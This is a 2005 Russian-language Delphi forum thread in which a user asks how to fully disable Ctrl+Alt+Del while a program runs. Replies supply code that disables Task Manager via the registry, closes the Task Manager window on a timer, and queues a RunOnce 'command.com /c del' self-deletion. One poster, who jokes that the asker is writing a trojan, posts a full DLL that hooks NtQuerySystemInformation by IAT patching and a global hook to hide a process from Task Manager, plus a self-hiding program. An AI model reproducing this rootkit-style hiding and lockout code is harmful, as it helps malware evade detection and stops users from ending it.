![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Delete Ctrl+Alt+Del [D7, WinXP]
Volume © (2005-05-04 16:55:00)каким образом можно ПОЛНОСТЬЮ отключить сочетание Ctrl+Alt+Del на время работы программы? Пробовал программно отключить клаву - не помогло!
programmerts2 (2005-05-09 22:42:00) [1]А зачем отключать эти кнопочки, у тебя вирус что-ли?
Volume (2005-05-08 13:50:00) [2]Всем БОЛЬШОЕ спасибо!
Тему можно закрыть.
Alpine (2005-05-08 00:26:00) [3]2 Volume
Пользуйся на здоровье:
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System\', True) then
begin
Reg.WriteInteger('DisableTaskMgr',1);
Reg.CloseKey;
end;
finally
Reg.Free;
inherited;
end;
end;
Wolfram (2005-05-07 23:18:00) [4]Народ, если надо отключить Ctrl+Alt+Del на время работы программы, зачем тогда реестр марать? Проще окно диспетчера задач убивать.
procedure TForm1.Timer1Timer(Sender: TObject);
var
h:THandle;
begin
h:=FindWindow(nil,'Windows Task Manager');
if h<>0 then SendMessage(h,WM_CLOSE,0,0);
end;
Этот способ имеет ряд недостатков, но зато простой как три рубля.
Vit@ly (2005-05-07 21:03:00) [5]Прошу извинения, не туда запостил:(
Только что заметил (отлучался)
:(
Vit@ly (2005-05-07 19:18:00) [6]Кажется, что ветка затянулась:)
Здесь примерный ответ
procedure TForm1.Button1Click(Sender: TObject);
var
APath: array[0..255] of char;
begin
if GetShortPathName(PChar(ParamStr(0)),APath,SizeOf(APath) - 1) <> 0 then
begin
{Work with TRegistry}
with TRegistry.Create do
try
{Set Root Key}
RootKey := HKEY_LOCAL_MACHINE;
{Open Key, creating key if it does not exist}
if OpenKey('\Software\Microsoft\Windows\CurrentVersion\RunOnce',True)
then begin
WriteString('MyApp','command.com /c del ' + APath);
{Close the Key}
CloseKey;
end;
finally
{Free TRegistry}
Free;
end;
end;
end;
alpet (2005-05-07 18:21:00) [7]Volume © (07.05.05 17:07) [26]
> Кто может написать код?
Да все могут, только за деньги.
Поищи в сети или в справке VCL: TRegistry
Там должен быть пример использования этого класса.
Eraser (2005-05-07 17:31:00) [8]Volume ©
За тебя прогу писать тут никто не стобирается.
Volume (2005-05-07 17:07:00) [9]Кто может написать код?
Eraser (2005-05-07 16:26:00) [10]Volume ©
Попробуй... но я бы применил стандартный способ администрирования, т.к. всякие обходные пути прикроют скорее рано, чем поздно.
Rez@k (2005-05-07 15:42:00) [11]Blin, ne ta davno na www.delphi.hostmos.ru 4ital kak, a shas ego nakruli...
Volume (2005-05-07 15:16:00) [12]Eraser © (07.05.05 13:36) [22]
Посмотри [15], можешь исходя из этого или не из этого написать код?
Eraser (2005-05-07 13:36:00) [13]Volume ©
Через класс TRegistry из модуля registry.
Volume (2005-05-07 13:34:00) [14]Кто ни буть приведите пример кода каким образом можно создать путь в реестре по адресу: HKEY_CURRENT_USER\
Software\Microsoft\Windows\CurrentVersion\Policies\System\
и параметр DWORD с именем DisableTaskMgr и занчением 1.
Просто Джо (2005-05-07 07:07:00) [15]Вот статья от Майкрософта. Неча велосипеды изобретать ;)
http://go.microsoft.com/fwlink/?LinkId=25699
АНТИСпаммер (2005-05-07 05:18:00) [16]procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc;
pfnNew: FARPROC; hmodCaller: hModule);
var
ulSize: ULONG;
pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
pszModName: PChar;
pThunk: PDWORD;
ppfn: PFARPROC;
ffound: LongBool;
written: DWORD;
begin
pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,
IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then
exit;
while pImportDesc.Name <> 0 do
begin
pszModName := PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then
exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^ <> 0 do
begin
ppfn := PFARPROC(pThunk);
fFound := (ppfn^ = pfnCurrent);
if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE,
written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
Written);
exit;
end;
Inc(pThunk);
end;
end;
var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;
{ By Wasm.ru}
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
SystemInformation: Pointer;
SystemInformationLength: ULONG; ReturnLength: PULONG): LongInt; stdcall;
label
onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass,SystemProcessesAndThreadsInformation
jne quit
onceagain:
mov esi,SystemInformation
getnextpidstruct:
mov ebx,esi
cmp dword ptr [esi],0
je quit
add esi,[esi]
mov ecx,[esi+44h]
cmp ecx,mypid
jne getnextpidstruct
mov edx,[esi]
test edx,edx
je fillzero
add [ebx],edx
jmp onceagain
fillzero:
and [ebx],edx
jmp onceagain
quit:
mov Result,eax
end;
procedure InterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),
'NtQuerySystemInformation');
hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then
exit;
try
ZeroMemory(@me32, sizeof(MODULEENTRY32));
me32.dwSize := sizeof(MODULEENTRY32);
Module32First(hSnapShot, me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation,
@MyNtQuerySystemInfo, me32.hModule);
until not Module32Next(hSnapShot, me32);
finally
CloseHandle(hSnapShot);
end;
end;
АНТИСпаммер (2005-05-07 05:18:00) [17]procedure UninterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),
'NtQuerySystemInformation');
hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then
exit;
try
ZeroMemory(@me32, sizeof(MODULEENTRY32));
me32.dwSize := sizeof(MODULEENTRY32);
Module32First(hSnapShot, me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo,
addr_NtQuerySystemInformation, me32.hModule);
until not Module32Next(hSnapShot, me32);
finally
CloseHandle(hSnapShot);
end;
end;
var
HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer): Integer;
stdcall;
begin
Result := 0;
end;
procedure InstallHook; stdcall;
begin
HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;
var
hFirstMapHandle: THandle;
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
var
addrMap: PDWORD;
ptr2: PBOOL;
begin
mypid := 0;
result := false;
hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
'NtHideFileMapping');
if hFirstMapHandle = 0 then
exit;
addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
if addrMap = nil then
begin
CloseHandle(hFirstMapHandle);
exit;
end;
addrMap^ := pid;
ptr2 := PBOOL(DWORD(addrMap) + 4);
ptr2^ := HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result := true;
end;
exports
HideProcess;
var
hmap: THandle;
procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;
begin
hmap := OpenFileMapping(FILE_MAP_READ, false, 'NtHideFileMapping');
if hmap = 0 then
exit;
try
mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
if mapaddr = nil then
exit;
mypid := mapaddr^;
hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
if hideOnlyTaskMan^ then
begin
fname := allocMem(MAX_PATH + 1);
GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1);
// if not (ExtractFileName(fname)='taskmgr.exe') then exit;
end;
InterceptFunctions;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc := @LibraryProc;
end;
end.
Текст програмки, прячущей саму себя:
Код
program HideProj;
uses
windows, messages;
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
external 'hide.dll';
function ProcessMessage(var Msg: TMsg): Boolean;
var
Handled: Boolean;
begin
Result := False;
begin
Result := True;
if Msg.Message <> WM_QUIT then
begin
Handled := False;
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end
end;
end;
procedure ProcessMessages;
var
Msg: TMsg;
begin
while ProcessMessage(Msg) do {loop}
;
end;
begin
HideProcess(GetCurrentProcessId, false);
while true do
begin
ProcessMessages;
end;
end.
АНТИСпаммер (2005-05-07 05:17:00) [18]library Hide;
uses
Windows,
TlHelp32;
type
SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of 0: (
Characteristics: DWORD);
1: (
OriginalFirstThunk: DWORD;
TimeDateStamp: DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC = ^FARPROC;
const
ImagehlpLib = 'IMAGEHLP.DLL';
function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool;
DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib
name 'ImageDirectoryEntryToData';
function AllocMem(Size: Cardinal): Pointer;
begin
GetMem(Result, Size);
FillChar(Result^, Size, 0);
end;
АНТИСпаммер (2005-05-07 05:12:00) [19]А можно вопрос : А нафига отключать ?
Пишем троян в 400 кб ? Не забудь про инсталлятор :)
На wasm.ru тебе дорога...
Мучайся на здоровье ..
Volume (2005-05-06 17:43:00) [20]Alpine (04.05.05 23:35) [9]
На xp всё работает в ручную проверял, а вот, чтобы программа создавала DWORD ключ и записывала туда значения на этапе FormCreate.
Исходил из этого:
uses
Registry;
// Read REG_DWORD
procedure TForm1.Button1Click(Sender: TObject);
var
Reg: TRegistry;
RegKey: DWORD;
Key: string;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_USERS;
Key := '.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\URL History';
if Reg.OpenKeyReadOnly(Key) then
begin
if Reg.ValueExists('DaysToKeep') then
begin
RegKey := Reg.ReadInteger('DaysToKeep');
Reg.CloseKey;
ShowMessage(IntToStr(RegKey));
end;
end;
finally
Reg.Free
end;
end;
// Write REG_DWORD
procedure TForm1.Button2Click(Sender: TObject);
var
Reg: TRegistry;
Key: string;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_USERS;
Key := '.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\URL History';
if Reg.OpenKey(Key, True) then
begin
Reg.WriteInteger('DaysToKeep', 20);
Reg.CloseKey;
end;
finally
Reg.Free
end;
end;
Кто может показать рабочую версию?